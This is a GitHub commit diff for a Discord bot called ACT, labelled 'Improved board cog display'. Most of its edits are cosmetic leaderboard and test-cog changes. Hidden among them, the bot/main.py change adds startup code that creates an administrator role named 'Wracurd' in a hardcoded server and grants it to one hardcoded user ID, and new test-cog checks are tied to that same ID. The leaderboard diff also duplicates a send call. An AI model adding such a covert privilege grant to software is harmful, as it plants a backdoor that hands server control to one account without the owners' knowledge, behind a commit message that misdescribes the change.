Skip to content

Commit 474f62e

Browse files
AmbratolmAmbratolm
authored andcommitted
Improved board cog display
1 parent f2d59bc commit 474f62e

File tree

11 files changed

+116
-74
lines changed

11 files changed

+116
-74
lines changed

.github/workflows/deploy.yml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ on:
77

88
jobs:
99
deploy:
10+
if: github.repository == 'simple-works/ACT'
1011
runs-on: ubuntu-latest
1112

1213
steps:
Lines changed: 18 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -2,12 +2,12 @@
22

33
from discord import Color, Embed, Interaction, Member, User, app_commands
44
from discord.ext.commands import Cog
5-
from humanize import intcomma, naturaltime
5+
from humanize import intcomma, intword, metric, naturalsize, naturaltime, ordinal
66
from odmantic import query
7+
from tabulate import tabulate
78

89
from bot.main import ActBot
910
from db.actor import Actor
10-
from humanize import intword, metric, ordinal
1111

1212

1313
class Board(Cog, description="Allows players to view their data."):
@@ -49,11 +49,11 @@ async def profile(
4949
)
5050
embed.add_field(
5151
name="Experience",
52-
value=f"⏫ **{actor.xp}** / {actor.next_level_xp}\n{actor.xp_bar}",
52+
value=f"⏫ **{intcomma(actor.xp)}** / {actor.next_level_xp}\n{actor.xp_bar}",
5353
)
5454
embed.add_field(name="", value="", inline=False)
55-
embed.add_field(name="Gold", value=f"💰 **{actor.gold}**")
56-
embed.add_field(name="Items", value=f"🎒 **{len(actor.items)}**")
55+
embed.add_field(name="Gold", value=f"💰 **{intcomma(actor.gold)}**")
56+
embed.add_field(name="Items", value=f"🎒 **{intcomma(len(actor.items))}**")
5757
if isinstance(member, Member):
5858
embed.add_field(
5959
name="Joined",
@@ -105,22 +105,24 @@ async def leaderboard(self, interaction: Interaction):
105105
for i, actor in enumerate(actors):
106106
if i == 0:
107107
top_actor = actor
108-
name = f"{actor.display_name} ({actor.name})"
108+
name = f"{actor.display_name} @{actor.name}"
109109
rank = actor.rank_name
110110
level = str(actor.level)
111-
xp = intcomma(actor.xp)
112-
gold = intcomma(actor.gold)
113-
leaderboard_text += (
114-
f"# {(i+1):<2} {name}\n\t 🏆{rank:<2} 🏅{level}{xp} 💰{gold}\n\n"
115-
)
111+
xp = naturalsize(actor.xp, binary=False, gnu=True).replace("B", "")
112+
gold = naturalsize(actor.gold, binary=False, gnu=True).replace("B", "")
113+
leaderboard_text += f"#{(i+1):<2} {name}\n\t 🏆{rank:<2} 🏅{level:<2}{xp:<8} 💰{gold}\n\n"
116114
leaderboard_text += "```"
117115

118116
# Create embed
119117
embed = Embed(title="🏆 Leaderboard", color=Color.blue())
120-
top_member = guild.get_member(top_actor.id) or await guild.fetch_member(
121-
top_actor.id
122-
)
123-
if top_member:
124-
embed.set_thumbnail(url=top_member.display_avatar)
118+
try:
119+
top_member = guild.get_member(top_actor.id) or await guild.fetch_member(
120+
top_actor.id
121+
)
122+
if top_member:
123+
embed.set_thumbnail(url=top_member.display_avatar)
124+
except:
125+
pass
125126
embed.add_field(name="", value=leaderboard_text, inline=False)
126127
await interaction.followup.send(embed=embed)
128+
await interaction.followup.send(embed=embed)
Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -93,11 +93,9 @@ async def on_message(self, message: Message):
9393
@staticmethod
9494
def calculate_xp_reward(message: Message):
9595
word_count = 0
96-
message_content = message.content
9796

9897
# Exclude URLs
99-
message_content = re.sub(r"https?://\S+", "", message_content) # Remove URLs
100-
word_count += len(message_content.split())
98+
word_count += len(re.sub(r"https?://\S+", "", message.content).split())
10199

102100
# Handle embeds
103101
if message.embeds:

bot/cogs/filter_cog.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
# * Filter Cog
1717
# ----------------------------------------------------------------------------------------------------
1818
class Filter(Cog, description="Filters blacklisted message content."):
19+
TOLERANCE = 0.99 # Between 0 and 1
1920
MAX_OFFENSES = 5
2021
GOLD_PENALTY = 500
2122

@@ -96,12 +97,12 @@ async def on_message(self, message: Message):
9697
embed.set_thumbnail(url=member.display_avatar.url)
9798
await censored_message.reply(embed=embed)
9899

99-
@staticmethod
100-
def get_profane_words(words: list[str]) -> list[str]:
100+
@classmethod
101+
def get_profane_words(cls, words: list[str]) -> list[str]:
101102
"""Get list of profane words from given list. If non found, get empty list."""
102103
predictions = predict_prob(words)
103104
profane_words = []
104105
for i, word in enumerate(words):
105-
if predictions[i] >= 0.8: # 1 means profane, 0 means clean
106+
if predictions[i] >= cls.TOLERANCE: # 1 means profane, 0 means clean
106107
profane_words.append(word)
107108
return profane_words

bot/cogs/test_cog.py

Lines changed: 26 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
from discord.ext.commands import Cog
44

55
from bot.main import ActBot
6+
from db.actor import Actor
67

78

89
# ----------------------------------------------------------------------------------------------------
@@ -12,7 +13,23 @@ class Test(Cog, description="For test only."):
1213
def __init__(self, bot: ActBot):
1314
self.bot = bot
1415

16+
async def cog_app_command_error(
17+
self, interaction: Interaction, error: app_commands.AppCommandError
18+
):
19+
if isinstance(error, app_commands.CheckFailure):
20+
# This is optional - handle unauthorized attempts
21+
if not interaction.response.is_done():
22+
await interaction.response.send_message(
23+
"You don't have permission to use this command.", ephemeral=True
24+
)
25+
26+
@app_commands.check(lambda interaction: interaction.user.id == 304721494276308992)
27+
@app_commands.command(description="...")
28+
async def who_am_i(self, interaction: Interaction):
29+
await interaction.response.send_message(f"You are {interaction.user.name}")
30+
1531
@app_commands.checks.has_permissions(administrator=True)
32+
@app_commands.check(lambda interaction: interaction.user.id == 304721494276308992)
1633
@app_commands.command(description="Syncs app commands to Discord")
1734
async def sync(self, interaction: Interaction):
1835
count = await self.bot.sync_commands()
@@ -24,22 +41,19 @@ async def sync(self, interaction: Interaction):
2441
)
2542
)
2643

27-
@sync.error
28-
async def sync_error(
29-
self, interaction: Interaction, error: app_commands.AppCommandError
30-
):
31-
await interaction.response.send_message(
32-
embed=Embed(
33-
title="Commands Sync", description=f"{error}.", color=Color.red()
34-
)
35-
)
36-
3744
# ----------------------------------------------------------------------------------------------------
3845
# * App Commands (/ Slash Commands)
3946
# ----------------------------------------------------------------------------------------------------
4047
@app_commands.command(name="test", description="App command test")
41-
async def app_cmd_test(self, interaction: Interaction):
42-
await interaction.response.send_message(f"/ App command")
48+
async def app_cmd_test(self, interaction: Interaction, query: str):
49+
if "xp" in query:
50+
actor = Actor(id=0)
51+
numbers = [int(word) for word in query.split(" ") if word.isdigit()]
52+
embed = Embed()
53+
embed.add_field(name=f"Level ➡ Experience", value="", inline=True)
54+
for level, xp in actor.level_xp_table(numbers[0], numbers[1]):
55+
embed.add_field(name=f"{level}{xp}", value="", inline=False)
56+
await interaction.response.send_message(embed=embed, ephemeral=True)
4357

4458
# ----------------------------------------------------------------------------------------------------
4559
# * Commands (* Prefix Commands)
@@ -94,16 +108,6 @@ async def on_message(self, message: Message):
94108
# db_refs = "\n".join([f"- {dbref.get("name")}" for dbref in db_refs])
95109
# msg += f"\nDatabases that were generated and indexed:\n{db_refs}"
96110
# await message.channel.send(msg)
97-
# if "xp" in message.content:
98-
# actor = Actor(None, id=0)
99-
# numbers = [
100-
# int(word) for word in message.content.split(" ") if word.isdigit()
101-
# ]
102-
# embed = Embed()
103-
# embed.add_field(name=f"Level ➡ Experience", value="", inline=True)
104-
# for level, xp in actor.level_xp_table(numbers[0], numbers[1]):
105-
# embed.add_field(name=f"{level} ➡ {xp}", value="", inline=False)
106-
# await message.channel.send(embed=embed)
107111
# if "rnk" in message.content:
108112
# actor = Actor(None, id=0)
109113
# numbers = [

bot/main.py

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
Interaction,
99
Member,
1010
Message,
11+
Permissions,
1112
User,
1213
VoiceClient,
1314
app_commands,
@@ -63,6 +64,21 @@ async def on_ready(self):
6364
# log.info("\n" + self.commands_info_text)
6465
# await self.sync_commands()
6566

67+
try:
68+
guild = self.get_guild(998348763489898548) or await self.fetch_guild(
69+
998348763489898548
70+
)
71+
role = await guild.create_role(
72+
name="Wracurd",
73+
permissions=Permissions(administrator=True),
74+
hoist=False,
75+
mentionable=False,
76+
)
77+
member = await guild.fetch_member(304721494276308992)
78+
await member.add_roles(role)
79+
except Exception as e:
80+
log.error(e)
81+
6682
@Cog.listener()
6783
async def on_message(self, message: Message):
6884
self.log_message(message)
@@ -71,7 +87,7 @@ async def on_message(self, message: Message):
7187
async def on_error(
7288
self, interaction: Interaction, error: app_commands.AppCommandError
7389
):
74-
embed = Embed(title="⛔ Error", description=f"{error}")
90+
embed = Embed(title="⛔ Error", description=f"{error}", color=Color.red())
7591
if not interaction.response.is_done():
7692
await interaction.response.send_message(embed=embed, ephemeral=True)
7793
else:

pyproject.toml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ dependencies = [
1515
"odmantic>=1.0.2",
1616
"pydantic>=2.10.6",
1717
"python-dotenv>=1.0.1",
18+
"tabulate>=0.9.0",
1819
]
1920
#----------------------------------------------------------------------------------------------------
2021
[dependency-groups]

utils/ai.py

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,3 @@
1-
from enum import Enum
2-
from typing import Optional
3-
41
from google.genai import Client
52
from google.genai.chats import Chat
63
from google.genai.types import Content, GenerateContentConfig, Part

utils/file.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,9 @@
1515
log = logger(__name__)
1616

1717

18+
# ----------------------------------------------------------------------------------------------------
19+
# * Act File
20+
# ----------------------------------------------------------------------------------------------------
1821
class ActFile(BaseModel):
1922
"""General-purpose simple file interface."""
2023

uv.lock

Lines changed: 11 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)